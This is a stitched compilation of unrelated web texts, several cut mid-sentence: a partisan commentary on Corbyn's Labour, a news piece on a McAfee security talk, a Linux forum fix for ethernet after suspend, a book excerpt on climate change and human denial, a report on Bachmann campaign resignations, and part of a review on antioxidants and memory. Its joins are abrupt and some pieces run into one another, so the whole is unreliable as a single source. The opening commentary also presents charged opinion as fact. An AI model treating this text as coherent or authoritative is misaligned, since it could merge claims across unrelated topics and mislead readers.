Neoliberal corporate media
So can that happen? The prime minster, Theresa May, has made it clear she is prepared to kill millions of people with the Trident missile system. She will no doubt have the total support of the war-loving neoliberal corporate media. Current polls show that in an election she would win relatively easily. So what would Corbyn have to do to defeat the Tories?
First, he has to become the undisputed leader of Labour and his second victory will go a long way to achieving that. The Blairites will split, some will retire, some will accept the result, some will join the Tories or the Liberal Democrats and some might even form a new party. Whatever happens, Corbyn’s party, already 600,000 strong (the Tories have 150,000 members) will continue to grow, creating a major door-knocking organisation that will, along with social media, undermine the power of the war-loving neoliberal corporate media.
While the internal attacks on Corbyn will not end, the marginalisation of the Blairites will accelerate and consolidate the unification of Labour under Corbyn in its fight against the Tories.
Corbyn’s decision to accept the democratic decision of the British people to reject membership of the emerging European empire and its emerging European army has been crystal clear. It is a decision that will go a long way to regaining the support of those voters who shifted to Ukip.
In Scotland, the SNP will more than likely continue to dominate, but would be far less antagonistic to a Corbyn-led Labour. If they work together in the first-past-the-post system, they could put the final nail in the coffin of Tory Scotland and maximise the number of MPs for both parties. After all, with a Corbyn-led government, the SNP understand that it is their best chance of a second independence referendum.
Concentration of wealth
While there is no doubt that decades of Thatcher/Blair senseless warmongering and neoliberalism remains popular, especially among those that benefited from it imperial values, the sustained attacks on the social system, the massive and growing concentration of wealth in the hands of |
phished e-mail, mobile apps that request unnecessary permissions and other cyberrisks has made some people complacent.
His suggestion to get company higher-ups to do something about it? Tell them, he said, “if we don’t do this, here’s the risk: In 12 months, our competitors are going to have our data and I’m going to be looking for a new job. Scare people. Shock people.”
McAfee made an impromptu visit before his keynote, joining a security panel to talk about trends in the industry. The theme of getting people and businesses to implement security before something bad happened also prevailed.
Jayson E. Street, who is with Pwnie Express, shared a story about a bike-shop owner who didn’t add enough security to his computer because he didn’t think anyone would target a bicycle shop. Police raided the store months later because it unknowingly was hosting malware that spread to other machines connected to the internet.
“We have this realization that I can trust my neighbors and leave the door unlocked. But on the internet, you’re a number,” Street said. “Your neighbor is in Paraguay and China. They’re going through a list of numbers. You’ve got bandwidth, hard-drive space and processing power. That’s what they want.”
Companies are willing to let security slide until they are on the wrong end of a breach, like the adultery site Ashley Madison, which faced a backlash last year after hackers stole customer data and exposed users online.
“They were lax,” McAfee said. “I promise you every one of their competitors have changed their security.”
Companies don’t change until after something happens, said Eddie Mize, The Pinnacle Group’s chief security officer and a close friend of McAfee’s who got the security celebrity to show up.
“My message hasn’t changed,” Mize said. “Until we get every single person in the organization to understand they’re part of the information security team, we’re going to fail. That includes janitors, people on the assembly line.”
McAfee went back to the big problem with security today: humans.
“Over half of hacking and malware is (helped by) human engineering. There’s no technology there,” McAfee said, with the others piping in about how easy it is to get around anti-malware software.
“All you have to say is ‘Your account has changed,’ and 90 percent of people will click on it. We have become lazy,” he said. “Our devices are doing the thinking. We don’t even know our friends’ phone numbers anymore. Part of me thinks this is just an evolutionary purge. People who don’t think before acting, they’ll eventually disappear.”
Tamara Chuang: [email protected] or visit dpo.st/tamara@147pm Did you ever get this working?
I found I had a quite similar problem, though I am on Kubuntu 16.10 (KDE-based, not Gnome), and with an HP ProBook laptop. And, unlike yourself, it wasn't my Wifi which died after suspend/wakeup, but my ethernet port. Still, I wonder if they are related.
I also do see that you do not have the problem under KDE. But I would be interested to know if the solution below does help under Gnome, as the solution is not based upon window manager, desktop environment or applets.
First, just to confirm that restarting the network manager service..
$ sudo systemctl restart network-manager.service
did not work for me.
However, I did find an answer that worked, thanks to buzhidao's question and info at can't connect to internet after suspend and GAD3R's comment there.
Using their info, I found that first researching which ethernet hardware and driver/module I am running, and then removing and re-installing that module, did work for me (though it did not for buzhidao):
Wifi:
$ lspci -knn | grep Net -A2
Ethernet:
$ lspci -knn | grep Ether -A2
The second of these (ethernet) was what i used, and i found:
03:00.0 Ethernet controller [0200]: Realtek Semiconductor Co., Ltd. RTL8111/8168/8411 PCI Express Gigabit Ethernet Controller [10ec:8168] (rev 0c) Subsystem: Hewlett-Packard Company RTL8111/8168/8411 PCI Express Gigabit Ethernet Controller [103c:1944] Kernel driver in use: r8169 Kernel modules: r8169
so i re-installed the 'r8169' driver:
$ sudo rmmod r8169 && sudo modprobe r8169
and voila! This worked. My ethernet port / connection came back alive (after suspend/wakeup) without having to reboot.
(I also did NOT have a Realtek wifi device, but a Qualcomm Atheros (mod: ath9k) which perhaps explains why wifi continued to work for me after wake-from-suspend.)
As you can see from my comment on that other post, I wondered whether the problem is the common element between Buzhidao and myself: Realtek Semiconductor devices. Even though they use different modules, they might share some common code? Or even be treated differently by the newer kernel code now in some way?
Do you yourself have a Realtek-based wifi device? (using lspci above)? Do you have any luck re-installing the module (rmmod/modprobe above)?
Anyway, just a shot in the dark. If you have found an eventual answer for yourself, please let us know! Thx.The potent combination of our powerful intelligence with our massive reality denial has led to a dangerous world. Less obvious, but in the long term more dangerous, are threats resulting directly or indirectly from technological developments that have permitted us to increase our numbers well beyond the carrying capacity of the natural world. More efficient agriculture and the invention of artificial fertilizers permitted humans to produce food sufficient to support numbers that would be unthinkable for other animals of our physical size. Public health measures, vaccinations, antibiotics, and other medical advances also permitted population numbers to explode. The world is overpopulated already and is becoming more so at an alarming rate. And although we pay lip service to the resulting problems, we do relatively little to address their root causes. Indeed, some religions continue to promote the unrestrained propagation of their flocks. Planet Earth is sick, with a bad case of "infection by humans." In fact, as far as the other species on the planet are concerned, we humans are like the rapaciously invasive conglomerate of aliens called the Borg in the classic TV series "Star Trek" — a race that indiscriminately assimilates and takes over anything and everything it encounters. The motto of the Borg is "Resistance is futile." And indeed, for all other species on Planet Earth, resistance is futile when faced with humans! The exceptions, of course, are the microbes that infect us (such as tuberculosis, HIV, and malaria), which are also spreading just fine, thank you. As explained by environmental activist Paul Gilding in "The Great Disruption": "We have now reached a moment where four words—the earth is full—will define our times. This is not a philosophical statement; this is just science based in physics, chemistry and biology... To keep operating at our current level, we need 50 percent more Earth than we’ve got."
The most dramatic consequence, of course, is the effect we are having on the atmosphere and the climate. Besides the very public efforts of Al Gore, many writers have spoken out about this vital issue, including Scientific American editor Fred Guterl. "The Fate of the Species: Why the Human Race May Cause Its Own Extinction and How We Can Stop It" describes climate change as one of the most pressing dangers to the human species. But while this has become a popular topic of discussion, few are willing to make the major lifestyle changes necessary to reverse it. The government of the country that is one of the biggest per-capita culprits (the United States) now at least acknowledges the reality of global climate change—but still refuses to face up to the problem. The energy platforms of major political candidates for leadership positions in the United States carefully ignore or minimize attention to this politically charged issue. And the same is true of the other major contributors to the problem, such as those companies that extract more and more fossil fuels from the earth yet run misleading advertising campaigns that claim that they really do care about the environment. Even worse, the melting of Arctic ice has given many countries the impetus to prospect for more fossil fuels in that pristine wilderness.
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Why is it that ordinary citizens do not sit up and take notice of the danger? Unfortunately, the focus remains mostly on "global warming" instead of on the bigger concern—that we are disrupting the planet’s climate in completely unpredictable ways. Because climate prediction includes a significant degree of scientific uncertainty, this has allowed skeptics to gain the upper hand and even corner some expert scientists into difficult positions. A friend in the climate research field privately admits that he and most of his colleagues are afraid to stand up and speak out because of the vituperative attacks and massive smear campaigns that they would inevitably suffer—as did Michael Mann and others. But much research indicates that as forests disappear and polar ice caps melt, etc., there are unpredictable feedback mechanisms that will make global warming increasingly difficult to tackle. Even more worrisome, there will likely be a tipping point after which continued warming may become irreversible, no matter what we do. Of course, other scenarios are also possible. For example, it is plausible that we could instead tip the planet into an ice age. The Hollywood movie "The Day After Tomorrow" took a reasonably valid climate change model that is possible over a sixty-year span and instead told a story in which it happened in six weeks. This made it easy for viewers to deny the possibility that this could ever actually happen.
During Bill Clinton’s successful bid for the presidency, one of his campaign aphorisms was "It’s the economy, stupid!" The point was that while strategists were considering many diverse and important political issues, the state of the economy was the single factor that was actually going to determine the outcome of the election. In like manner, we humans are focusing on the wrong issues when it comes to the debate over global warming. The slogan should be "It’s local climate destabilization, stupid!" One does not need to be an expert to find convincing evidence that global temperatures are indeed rising, and that the climate is changing, likely due to human activities. Every one of the more than 150 national scientific academies in the world, every professional scientific society with members in relevant fields, and more than 98 percent of all scientists who study climate agree on this point. There is increasing agreement that the Industrial Revolution ushered in a new climatic period, which Nobel Prize winner Paul Crutzen has called the Anthropocene. The frequency of extreme weather events across the world is increasing at a rate not previously seen since climate records began to be kept—and an ice-free Arctic sea may be years, not decades, away. However, despite the overwhelming body of data, it is unclear exactly what is going to happen in the future. Thus the mild-sounding term warming is too easy to pass off as being irrelevant to an individual ("So what? I will just turn up my air conditioner!").
Instead of allowing complacency based on uncertainty, we need to look back at the history of climate on this planet and consider the potential consequences of human interference. Data from sources such as the Greenland ice core (from which it is possible to determine historical temperatures over relatively short time spans) indicate that the period until around ten thousand years ago was prone to wildly oscillating temperatures (similar data is available back to almost a million years ago). For example, twelve thousand years ago there were likely tens of feet of ice over what is now San Francisco and Washington, D.C., as well as over most of northern Europe. The less frequent and cyclical warm periods of the past could also be associated with temperature fluctuations, variations in ocean levels, and so on. In contrast, the last ten thousand or so years have been one of the uncommon periods of relatively stable warm climate. Years ago I used to joke that this must be a consequence of humans having spread all across the planet at approximately that time, reaching all the way into South America and most other habitable parts of the world. In fact, this concept is now the basis of a current theory—that the diaspora of humans, and the associated burning of forests, the initiation of agriculture, and the elimination of most large animal species (beginning around ten thousand years ago) may have stabilized the climate and prevented its usual wanderings. Whatever the mechanism, we are living in an unusually stable period called the Holocene epoch. It is only because of this stable climate that we have so successfully populated the world while optimizing our homes, facilities, and agriculture to suit a relatively predictable local climate in each location.
So what the average human should fear is not global warming but rather local climate destabilization, i.e., a change in the relative stability and predictability of his or her own local situation. This does not only mean unusually severe hurricanes and tornadoes, or unexpected droughts and flooding. Such sad catastrophes affect only a small part of the world at any one time. Of even greater concern should be local changes that may seem trivial yet have a huge impact on our living conditions and economies. Try a casual poll of your friends across the planet who have lived in the same place for a while, and ask, "How’s the weather been lately in your neck of the woods?" There is a high probability that the answer will include words such as "strange," "unusual," and "weird." And in some cases your friends will not mention warming but rather unusual cold spells, or rain and snow that fell with unusual frequency at unexpected times. The general trend seems to be increasing dryness in previously dry areas and increasing wetness in previously wet areas. It will not take many more such changes to disrupt local economies and agriculture in a manner that destabilizes local societies. And the impact of local events can be global. For example, very high temperatures in Russia in 2010 were unpleasant, but the bigger consequences were forest fires and loss of wheat production. The unprecedented 2011 floods in Thailand raised the costs of computer hard disks worldwide because some key local factories were damaged. And in 2012, the great drought in North America decimated the corn crop and ignited forest fires that destroyed many homes.
Remarkably, the subject of climate change was never brought up by the moderators of the three U.S. presidential debates of 2012—and was only mentioned briefly by Barack Obama in his acceptance speech upon reelection (he did expand on the theme in his 2013 State of the Union address). It remained the big elephant in the room that everyone was conveniently ignoring. But as this is being written, the northeastern seaboard of the United States is still struggling to recover from the devastation wrought by the deadly hurricane Sandy. This so-called Frankenstorm was unprecedented in terms of its timing, path, and site of landfall. The hurricane was apparently unique in the annals of American weather history, and many climate scientists feel it is the latest manifestation of human-induced climate change.
But the tragedy of Hurricane Sandy may have a silver lining. Politicians whose constituents were directly affected began speaking out. New York's governor, Andrew Cuomo, said in a news briefing the day after the hurricane hit: "There has been a series of extreme weather incidents. That is not a political statement. That is a factual statement... Anyone who says there’s not a dramatic change in weather patterns, I think, is denying reality." The next day he added, ―"I think part of learning from this is realizing that climate change is a reality." And the politically independent New York City mayor, Michael Bloomberg, said: "Our climate is changing. And while the increase in extreme weather we have experienced in New York City and around the world may or may not be the result of it, the risk that it may be—given the devastation it is wreaking—should be enough to compel all elected leaders to take immediate action." Fittingly, the contemporaneous cover story of Bloomberg Businessweek magazine was entitled "It’s Global Warming, Stupid."
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While the public and politicians may choose to ignore climate change, the insurance industry cannot afford to do so. Using its comprehensive NatCatSERVICE database, which maintains data on natural catastrophes, Munich Re (one of the world’s largest reinsurance conglomerates) analyzes the frequency and loss trends of various events from an insurance perspective. In an October 2012 report, Munich Re published its analysis of all kinds of weather perils and trends. The study was prepared for underwriters and clients in North America, the world’s largest insurance and reinsurance market. Ironically, this region (also one of the world’s largest producers of greenhouse gases) has been most affected by extreme weather-related events in recent decades. The North American continent is already vulnerable to all types of weather hazards—hurricanes, winter storms, tornadoes, wildfires, drought, and floods (one reason is that there is no mountain range running from east to west that can separate hot from cold air). But the study shows a nearly fivefold increase in the number of weather-related loss events in North America for the period from 1980 to 2011, compared to a 400 percent increase in Asia, a 250 percent increase in Africa, a 200 percent increase in Europe, and a 150 percent increase in South America. The overall loss burden during this time frame from weather catastrophes in the United States was $1.06 trillion (in 2011 values), and some thirty thousand people lost their lives.
Just a few weeks before the Munich Re report appeared, James Hansen and other scientists at NASA’s Goddard Institute for Space Studies, in New York, published a study on the apparent increase in extreme heat waves during the summertime. Such events, which just a few decades ago affected less than 1 percent of the earth’s surface, "now typically cover about 10 percent of the land area," the paper stated. "It follows that we can state, with a high degree of confidence, that extreme anomalies"—i.e., heat waves—"such as those in Texas and Oklahoma in 2011 and Moscow in 2010 were a consequence of global warming because their likelihood in the absence of global warming was exceedingly small."
Meanwhile, in a Kafkaesque twist, the late-2012 United Nations Framework Convention on Climate Change took place in Qatar, the country that tops all others in per-capita production of greenhouse gases! The official meeting report sounded superficially encouraging: "Countries... agreed on a firm timetable to adopt a universal climate agreement by 2015... They further agreed on a path to raise the necessary ambition [italics mine] to respond to climate change, endorsed the completion of new institutions, and agreed on ways to deliver scaled-up climate finance and technology to developing countries. The Kyoto Protocol... under which developed countries commit to cutting greenhouse gases... will continue... the length of the second commitment period will be eight years." But Greenpeace International responded: "Which planet are you on? Clearly not the planet where people are dying from storms, floods, and droughts... The talks in Doha... failed to live up to even the historically low expectations. Where is the urgency?... It appears governments are putting national short-term interest ahead of long-term global survival."
Even more worrisome, it was hard to find any headline or front-page news about the all-important Doha talks.
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Indeed, the mainstream media seem to have generally lost interest in this story, perhaps because it has become so commonplace. This despite the fact that the National Oceanic and Atmospheric Administration (NOAA) has just officially declared that 2012 was the hottest year on record for the continental United States and the second-worst for "extreme" weather conditions, such as hurricanes, droughts, and floods.
Seven of the ten hottest years in U.S. records (dating back to 1895), and four of the hottest five, have followed 1990, according to NOAA figures. The year 2012 also saw Arctic sea ice hit a record low, based on more than thirty years of satellite observations. And at a global level, according to NOAA scientists, all twelve years of the twenty-first century so far (2001–2012) rank among the fourteen warmest in the 133-year period since records have been kept.
Despite all the facts, there is a deafening silence on the part of world leadership over the plausible relationship between extreme weather events and human-induced climate disruption. The analogy that comes to mind is the emperor Nero playing the fiddle while his city, Rome, burned down! But it is too late now, anyway—the "Planet Earth Climate Destabilization Experiment," as I call it, is under way, and we just have to wait to see how bad things are going to get. We have poked a tiger in the eye, and we just have to hope we will get away without suffering too many consequences. We should be very concerned about disrupting the relatively predictable weather that we currently enjoy, something that is critical not only for human living conditions in most parts of the world but also for the relative stability of our local economies and livelihoods. Nevertheless, it is more convenient to simply deny the problem. Indeed, the news media seem to have gotten weary of reporting extreme weather events and don’t bother anymore unless the events are close to home. Were readers in America aware, for example, that Pakistan had a second megaflood in 2011? Both of these catastrophic floods affected a single area, washed away vital crops, forced almost two million people to flee their homes, and left them suffering from malaria, hepatitis, and other diseases. And did you hear that the city of Beijing had record-breaking floods in 2012? The heaviest rainfall to hit China’s capital in sixty years left many dead, stranded thousands at the main airport, and flooded major roads. Almost two million people were affected, and economic losses were estimated at $1.5 billion. But this kind of event is no longer considered international news—as it has become far too common.
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In the worst-case scenario, we could even find ourselves enduring the same wild weather that plagued times past, swinging between ice ages and warm periods. But the skeptic can argue that current climate models might turn out to be wrong after all, and that climate destabilization might not be as severe as the alarmists suggest. And as Matt Ridley points out in The Rational Optimist, some prior doomsday predictions turned out to be overstated. For example, Rachel Carson’s 1962 book, "Silent Spring," documented the detrimental effects of pesticides on the environment, particularly on birds. The title was meant to evoke a future spring season in which no bird could be heard singing because they had all vanished due to pesticide abuse. Given the state of knowledge at the time, Carson’s additional concerns about effects of synthetic chemicals on human health were reasonable, and many have been borne out. But decades later some suggest that the overreaction to this seminal book also did some harm—for example, by eliminating the vital role that DDT played in killing malaria-carrying mosquitoes. But it also seems that the resulting cleanup of toxic lead and mercury from the environment has had a positive effect on the brain development of children. Another example that Ridley cites is Paul Ehrlich’s 1969 book, "The Population Bomb," whose original edition began with the statement, "The battle to feed all of humanity is over... nothing can prevent a substantial increase in the world death rate." Ehrlich and his wife, Anne, still stand by the basic ideas in the book, believing that it achieved their goals because "it alerted people to the importance of environmental issues and brought human numbers into the debate on the human future." And there is no doubt that many issues related to population growth were addressed only because of these warnings. But the book also made a number of specific predictions that did not come to pass. Ridley argues that, guided by our human ingenuity and ability to adjust to change, we took action to fix some of these problems, and the predictions turned out to be worse than the reality. So his comforting notion is that humanity can and will fix the climate problem when the time comes to really deal with it.
But there is one big difference between pesticide pollution and population growth on the one hand and global climate change on the other. Unlike any other current policy issue, the potential for climate destabilization is one we simply cannot afford to get wrong the first time around. The fact is that we humans are conducting a very dangerous experiment with our climate on the one and only planet that we have. Whether or not the recent spate of extreme weather events is a harbinger of things to come, the point is that there is no way of turning back once we have set major climate destabilization in motion. And if it happens, the consequences will be devastating for all of humanity at both the local and the global level. So unlike almost any other policy issue, about which we can afford to debate the pros and cons and change our minds later as new information comes in, there is no margin for error here. There is only one planet, one biosphere, and one Anthropocene epoch, and we must err on the side of caution!
Many approaches have been taken to try to convince individual citizens to take climate change seriously. These include the arguments that we have an ethical and moral obligation to the less fortunate on the planet and to future generations, that we are conducting a risky experiment with the planet, that the global economy will suffer, and so on. However, none of these really has had an effect because of our all-powerful capacity for reality denial. The resulting optimism bias makes most people (even if they believe the science) just go on with life and hope for the best. Between the time the writing of this book began, in 2007, and the time it was completed, toward the end of 2012, much change has occurred, and there has been a spate of extreme weather events. Regrettable as they are, these events have at least made many people begin to think that climate change may be real. However, as long as there is no certainty regarding the future of climate, the average person will continue to hope for the best, and the naysayers and profiteers will take advantage of that uncertainty.
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Even appeals to individuals based on the fact that local climate disruption will affect their lifestyles and pocketbooks generate the response "How can you be certain?" So let me offer an analogy that the average human can perhaps better understand and relate to. Imagine you are going to take a long airplane flight and you’re told that there is just a 10 percent chance that things will go badly wrong and that the plane will crash. Would you get on that plane? Of course not: Most people would want at least a 99 percent certainty that the flight is safe. Well, the same is true for climate disruption.
By the time you’re reading this, a majority of skeptics may have finally begun to admit that something bad is happening to our climate and that we humans may be contributing to it. But given the extreme degree of polarization surrounding the debate, it is unlikely that any consensus on action will be reached soon. If so, there are alternate sensible approaches that can be pursued. Durwood Zaelke, founder of the Institute for Governance and Sustainable Development, and Veerabhadran Ramanathan, a professor at the Scripps Institution of Oceanography, suggest a short-term strategy that involves cutting emissions of four climate pollutants: "black carbon, a component of soot; methane, the main component of natural gas; lower-level ozone, a main ingredient of urban smog; and hydrofluorocarbons, or HFCs, which are used as coolants. They account for as much as 40 percent of current warming. Unlike carbon dioxide, these pollutants are short-lived in the atmosphere. If we stop emitting them, they will disappear in a matter of weeks to a few decades. We have technologies to do this, and, in many cases, laws and institutions to support these cuts."
Another reasonable approach is suggested by Peter Byck in his movie "Carbon Nation." Byck points out that even if you agree to disagree with those who deny climate disruption by humans, most such denialists are still very much in favor of clean air, clean water, and clean sources of energy. One can even point out that there are opportunities to make good money in connection with several of the new approaches to alternative energy. Perhaps this is the way to bypass our human denial of climate change and deal with the problem.
Again, let us hope it is not too late to turn back the clock so that we can continue to have a relatively stable climate, as we have enjoyed in the last ten thousand years. But as of this writing, we simply continue to deny the limits to which we can push the planet.
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One can build a logical argument that our innate reality denial, coupled with our runaway technological achievements, virtually guarantees that we will be facing global calamities on a scale never before seen. Many different scenarios can be constructed around resource depletion, climate change, disease pandemics, etc., that will lead to a breakdown in modern civilization, war, and human death and suffering on a massive scale. History suggests that we will not learn any long-term lessons from the first few of these disasters, in large part because of our nemesis, reality denial. Indeed, it is arguable that we are destined ultimately to destroy ourselves as a species—or, at the very least, to continue to cycle between well-developed civilization and catastrophic collapse, never reaching a technological state much beyond what we currently enjoy. We hope that these words do not prove to be prophetic. But we may well be in for a cycle of catastrophic collapses and have to rebuild ourselves, much as many civilizations have done in the past.
Even those of us who agree that human nature and technology are essentially incompatible would like to think that eventually, perhaps after a disaster or two, we would shape up and come to grips with our basic problems. One can be an optimist in this manner and still accept all the arguments here about self-awareness and denial. Indeed, it is probably essential for our long-term success that we embrace the idea that reality denial is a fundamental part of human nature. For only by knowing this enemy can we consciously change our innate, destructive behavioral tendencies. Ironically, many readers of this statement are likely to deny the important point we are making. In other words, we are in a state of denial about our denial of reality, and this is not an easy problem to overcome on a daily basis.
It is only by understanding reality denial as an enemy within that we might be able to overcome it. An alcoholic is not necessarily a drunk. But in order to avoid becoming one, it is necessary for the alcoholic to acknowledge his innate tendencies and to actively fight the impulses that drive a behavior that is satisfying in the short term but self-destructive over the long haul. Just as an alcoholic must sometimes hit psychological or emotional bottom in order to come to grips with his problem, it may require a small nuclear war or a major climatic disruption in order for us to see the light. We haven’t seen it yet, nor have we even acknowledged the underlying trait (denial) that makes it so difficult for us to deal with our critical issues.
Many of our everyday problems also have a component of denial—whether we’re investing in a risky scheme, deciding to stay with an abusive partner, or whatever. Those who give advice professionally or otherwise can easily detect the denial component in a person’s situation and advise the subject to escape from the danger. What they may fail to recognize is that reality denial is such a fundamental part of being human that one cannot easily just shed its clutches. To continue the alcoholic analogy, we can’t abandon denial any more than we can change our fundamental personality traits. What we can do is to recognize this trait and try to manage its deleterious effects, just as the alcoholic manages his disease. Indeed, we don’t want to completely escape from our state of denial, even if we could—it’s the only thing that keeps us sane in the face of rational realization of mortality. We just need to recognize and manage its pathological consequences. We need psychotherapy on a societal and global scale.
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The big question is, then, are we capable of controlling denial sufficiently to solve our current dilemmas? Can we create a spiritual construct (individually, or as a new formal religion) that can satisfy our acceptance of mortality without letting it drive our lives and society to oblivion? As always, the first step is recognition of the problem. The next step may require a process that is every bit as unlikely as the convergence of self-awareness and self-deception that allowed us to break through the wall so many years ago. It required millions of years for the latter event to occur. We don’t have that much time to solve our current dilemma. Humans may be products of chance events that allowed full theory of mind (ToM) and intentionality to emerge, but we were able to come into existence only because we simultaneously developed the ability to deny our own mortality and reality. But as a by-product, we also deny many of our other problems, despite having the ability to understand them.
The twentieth century was the era in which the greatest amount of human knowledge was accumulated, knowledge that was contributed to by people who were following up on the knowledge generated by many past human civilizations. This knowledge base (which is essentially the understanding and appreciation of aspects of reality) generated much scientific and technological progress, and there was great hope that the twenty-first century would see further steps in this direction. However, a variety of sociopolitical doctrines and agendas seemed to have caused a marked regression in the public appreciation for the value of scientific knowledge.
In 2007 I had the opportunity to participate in a historic meeting in which some of the oldest and best-known American societies that focus on the value of knowledge (the American Philosophical Society, the American Academy of Arts and Sciences, and the National Academy of Sciences) came together to discuss the situation in America. This meeting was entitled The Public Good: Knowledge as the Foundation for a Democratic Society and involved scientists, humanists, and leaders in business and public affairs from around the country in a two-and-a- half-day series of panel discussions, conversations, and dinner programs that focused on "some of the most pressing issues facing the nation." The underlying premise was simple—that in order for a democracy to succeed it should be based on real knowledge of the facts of the world around us. Following the meeting, several tomes were published to explicate this important though obvious idea. But this effort has been largely ignored, and reality denial has continued to gain ground. Why is this so? Perhaps it is because reality is unpleasant for most people, and our built- in mechanisms for denial allow us to pick up whatever line of reasoning we find the most comforting in the face of competitive realities, however flawed that reasoning is. But let us hope that other efforts like this continue, so that we can once again base our future on our understanding of reality.
Sadly, following a century of intense focus on the value of science for society, we are even facing a growing and dangerous antiscience movement that appears to originate from adherence to a variety of social, political, and religious doctrines that favor alternate realities. New Yorker staff writer Michael Specter addresses this new and widespread fear of science and the consequences of this reality denial for individuals and for the planet in his 2009 book, "Denialism." He expresses concern over the fact that both political leaders and the public seem to mistrust science more than ever before. So irrational and unfounded fears about everything from childhood vaccines to genetically modified grains abound, even while dietary supplements and ―natural‖ cures with no proven value are gaining many followers. As Specter sees it, this war against science amounts to a war on progress itself, and it’s occurring at a time when we actually need science more than ever to chart our future in a rational fashion.
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Why is it that so many humans are attracted to these illogical doctrines? Is it simply a reflection of the fact that most humans would prefer not to face reality? After all, science is all about revealing factual realities. But is it possible to hold a full ToM along with a complete recognition of reality? Yes, of course it is, but it requires a large amount of definitive information and rational thinking about the meaning of all that information. We mentioned earlier the excellent book by Richard Dawkins entitled "The Magic of Reality." In this wonderfully written and beautifully illustrated volume, Dawkins explicates the reality of who we are, starting with the Big Bang, proceeding through human evolution, and going all the way to atoms and subatomic structures. As Dawkins correctly points out, this true reality (as revealed by the methods of science) is indeed magical beyond belief, at least from our perspective as humans. However, it is easy for someone of Dawkins’s knowledge and intellect to appreciate reality’s magic. For the average human, though, the enormity of this reality can actually be rather unpleasant, and the book could also be read as The Horror of Reality. Thus most people prefer to ignore or rationalize away many of the realities they do not like to think about. On the other hand, even the extreme realist cannot get through a day without ignoring some realities and taking some risks. The ideal situation, therefore, would be to relish and use both our full ToM as well as our ability to deny reality, allowing us optimism. And indeed, there are also many benefits to reality denial.
From the book "Denial: Self-Deception, False Beliefs, and the Origins of the Human Mind" by Ajit Varki and Danny Brower. Copyright (c) 2013 by Ajit Varki. Reprinted by permission of Twelve/Hachette Book Group, New York, NY. All rights reserved.A backbiting joint letter from presidential contender Michele Bachmann Michele Marie BachmannGillibrand becomes latest candidate scrutinized for how she eats on campaign trail Trump will give State of Union to sea of opponents Yes, condemn Roseanne, but ignoring others is true hypocrisy MORE’s former New Hampshire staffers spells out how frustration with the Minnesota Republican’s national staff led the entire team to jump ship.
The disgruntled remarks open the curtain to fractures within Bachmann’s campaign that she and her aides have insisted don’t exist.
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“The manner in which some in the national team conducted themselves towards Team-N.H. was rude, unprofessional, dishonest, and at times cruel,” the former staffers wrote Monday.The sour resignation of Bachmann’s New Hampshire staff added to a series of campaign departures that have left many wondering whether Bachmann’s top supporters are losing faith in her candidacy.After campaign manager Ed Rollins stepped down in September, he embarked on a media tour in which he questioned her viability and spoke openly about her weaknesses. Pollster Ed Goeas left after last week’s debate. Other staffers have gone quietly, which the campaign has insisted was part of its planned strategy to shift resources efficiently.The Minnesota lawmaker raised $4.1 million during the third quarter of the year — much more than some of the other Republican candidates — but she has only $1.5 million on hand going into the final few months before the first primary contests.She has also declined steadily in the polls since she announced her presidential bid. She came in sixth in an Associated Press/GfK poll released Thursday, |
-term supplementation with vitamin C facilitated acquisition and retrieval of learning and memory in rats (374). Tveden-Nyborg et al. went a step further and investigated the effect of chronic vitamin C deficiency on spatial memory as measured by the Morris water maze and also counted hippocampal neurons to assess whether ascorbate had an effect on neurodegeneration (422). In this study, two groups of newborn guinea pigs were randomly assigned to either a vitamin C-sufficient diet or a deficient diet (minimally adequate to prevent scurvy) for 2 months. The objective of the study was to assess the effect of vitamin C deficiency on the neonatal brain, because it is more susceptible to oxidative damage than the adult mature brain. The results showed a significant reduction in spatial memory, compounded by a lower number of neurons in all regions of the hippocampus (422). Collectively, these animal studies indicate that ascorbate, at least partially, contributes to protection of neurons from free-radical-induced memory impairments. Clinical trials investigating the benefits of vitamin C on cognition have yielded more complicated results and are discussed in section V under physiological aging and AD.
2. Tocopherol (vitamin E) Vitamin E is a generic term referring to a group of tocopherols and tocotrienols, of which α-tocopherol is the best studied. Vitamin E is a fat-soluble vitamin known for its role as an antioxidant, involved in stopping ROS from forming in membranes undergoing lipid peroxidation chain reactions. The role of vitamin E as a systemic antioxidant has been studied extensively, with conflicting results as to its beneficial effects. Similar to ascorbate, the involvement of vitamin E in learning and memory has been for the most part investigated under therapeutics for either ROS-induced disease states or physiological aging (discussed above in section V). Very few studies have addressed the role of vitamin E in normal memory function. In the early 1970s, it was reported that there was no significant effect of vitamin E deficiency on the learning ability of rats, although they needed more trials to acquire a conditioned response (238). The most striking effect of vitamin E deficiency in these experiments was the impaired retention of a one-trial experience, a task dependent on reference memory (238). In similar experiments, the effect of vitamin E deficiency on reference and working memory were subtle at best (367). Studies examining the effect of long-term vitamin E deficiency and vitamin E supplementation in rats found that it had no effect on the acquisition and maintenance of memory tasks, but did impact their learning (195). Collectively, the results of these studies have not conclusively demonstrated whether vitamin E acts as an antioxidant in learning and memory, which may seem surprising given that memory processes depend on the redox status of neurons. In fact, two more recent related studies (449, 450) show a direct role of vitamin E in the modulation of LTP, which is the substrate of learning and memory formation (117). In these studies (449, 450), vitamin E deficiency resulted in LTP impairments and that vitamin E induced a slowly developing long-lasting increase in EPSPs that was independent of NMDA receptor activation. The same effect was not observed with ascorbate. Although these studies clearly argue for a role for vitamin E in LTP (and thus memory formation), the ascorbate study suggests that this effect may not be mediated by ROS (449, 450). Collectively these studies demonstrate that the involvement of vitamin E as an antioxidant in the learning and memory process is not clear and is at best inferred.
3. Glutathione Glutathione (GSH, l-γ-glutamyl-l-cysteinylglycine) is the predominant cytoplasmic antioxidant molecule in cells. GSH serves to provide reducing equivalents for the maintenance of proper oxidant/antioxidant homeostasis and is required for viability and proper functioning of cells. GSH is a tripeptide synthesized from the amino acids glutamate, glycine, and cysteine (19) ( ). Given that glycine and glutamate are plentiful in cells, it is cysteine availability that controls the production rate of GSH. This is supported by studies in transgenic flies showing that neuronal overexpression of the rate-limiting enzyme for GSH synthesis increased lifespan by up to 50% (316). The main roles of GSH are to scavenge peroxynitrite and hydroxyl radicals, as well as to convert H 2 O 2 to water. A GSH radical is formed in the process; however, it is readily neutralized by combination with another GSH radical to produce GSSG. GSSG can be converted back to GSH by NADPH-dependent GSH reductase (26). Each antioxidant is converted into a radical upon scavenging another radical. This is a concept that was described above for both for vitamin C and E, and it is also true of GSH. All of these antioxidants can recharge each other as such: GSH regenerates vitamin C, which regenerates vitamin E, creating a chain of antioxidant molecule dependency. With regard to learning and memory, the role of GSH has mainly been investigated after chemical depletion and its effect discussed in the context of schizophrenia, where a deficiency in GSH is common and is associated with cognitive decline. It was demonstrated that low levels of GSH negatively impact LTP and 